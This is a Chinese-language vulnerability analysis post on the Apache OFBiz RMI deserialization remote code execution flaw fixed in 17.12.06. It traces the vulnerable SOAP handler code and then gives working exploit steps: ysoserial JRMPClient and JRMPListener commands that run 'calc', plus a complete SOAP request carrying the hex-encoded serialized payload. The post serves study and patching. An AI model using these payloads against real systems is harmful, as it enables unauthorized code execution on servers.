漏洞简介
2021年3月22日 Apache OFBiz官方发布安全更新,修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。
漏洞影响版本:apache:ofbiz<17.12.06
项目下载地址:https://archive.apache.org/dist/ofbiz/
补丁代码:https://github.com/apache/ofbiz-framework/commit/af9ed4e/
漏洞触发路径:https://ip:8433/webtools/control/SOAPService
调试环境搭建
这个反序列化漏洞本身相对简单,但是搭建调试环境的时候费了好些功夫。
工具:Idea + apache-ofbiz-17.12.01.zip + gradle-6.8.3 + jdk11 + jkd1.8
jdk11是gradle用来构建项目的,jdk1.8是用来运行项目的。大概过程如下:
首先Idea打开整个ofbiz工程,配置gradle目录
高版本的gralde需要jdk11以上环境(一开始我配的是jdk1.8,但是构建项目就报错了),确定之后,然后就进入漫长的等待时间,然后build一下
Build完成后,会在项目目录下生成build文件夹,以及ofbiz.jar等文件。
然后edit congfigurations 添加JAR Application
调试运行(jdk要选1.8的,用jdk11会报错),然后在framework\webapp\src\main\java\org\apache\ofbiz\webapp\event\SOAPEventHandler.java public String invoke(*)下断点。
网页访问:/webtools/control/SOAPService,成功断下。
漏洞跟踪调试
我们先看下payload格式,再跟踪代码流程。
当访问https://ip:8443/webtools/control/SOAPService时,程序会进入SOAPEventHandler模块进行处理,具体网站路径的路由控制可以参考https://xz.aliyun.com/t/8184/这篇文章。函数负责接收soap数据,并进调用SoapSerializer.deserialize()函数进行反序列化处理,代码如下:
然后调用XmlSerializer.deserialize()
然后调用deserializeSingle()函数,这个函数需要重点关注,函数决定你构造的payload的格式。
函数首先获取了我们的标签cus-obj,然后和一些标签进行比较,如果没有匹配到,则调用deserializeCustom()函数,获取标签内的值,然后将16进制转化成字节数组。然后调用readObject()将字节数组反序列化,触发漏洞。
这里函数里使用了SafeObjectInputStream类,做了一些安全处理,加了白名单机制,只允许白名单内的类进行反序列化。
我对比看了下ofbiz16版本系列的,这里是没有SafeObjectInputStream过滤的。
应该是官方自己发现这里有反序列化漏洞问题,所有加了白名单机制,限制了反序列化的类,但是在加白名单时比较松散,“java.”白名单范围太大,导致漏洞依然可以被利用,使用ysoserial的rmi payload依然可以做到任意命令执行。
最新版本的补丁,添加了java.rmi.server的过滤。
漏洞测试
1、生成payload
java -jar ysoserial-master-30099844c6-1.jar JRMPClient "127.0.0.1:1099" > calc.ser
2、将calc.ser转成16进制
import binascii
filename = 'calc.ser'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
3、java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 “calc”
4、构造payload发送到目标服务器
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>
</ser>
</soapenv:Body>
</soapenv:Envelope>
总结思考
1、我在跟踪调试时,发现触发这个漏洞的流程并不只这一条,还有其他方式可以触发该漏洞,有兴趣的可以找一下。
2、总感觉他这个白名单范围过大,如果以后有大佬找到新的利用链,那这个白名单很可能被绕过。
参考:
1、 https://xz.aliyun.com/t/8184/
2、 https://www.o2oxy.cn/3271.html
发表评论
您还未登录,请先登录。
登录